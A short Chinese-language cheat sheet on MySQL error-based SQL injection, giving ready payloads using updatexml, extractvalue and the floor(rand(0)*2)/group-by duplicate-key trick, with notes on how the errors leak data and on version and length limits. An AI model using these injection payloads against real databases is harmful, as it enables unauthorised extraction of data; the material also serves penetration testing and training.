mysql报错注入函数

xpath处理函数报错注入:

updatexml(xml_doc,xpath,new_value)

利用xpath把xml文档中的指定字符串替换成新值。

and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

 

extractvalue(xml_doc, xpath)

从指定xml文档中查询指定的字符串。

and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

 

参数xpath需要的是xpath格式的字符串,不是就会报错,sql语句由内向外执行报错得到查询的信息

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,所以MySQL 5.1.5版本以下的不能上述函数进行报错注入。

上述报错注入函数有字符限制,最长32位。

虚拟表主键重复报错注入:

floor() + rand() + group by

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));

原理参考链接:https://www.2cto.com/article/201604/498394.html

group by key (key为虚拟表的主键)

循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据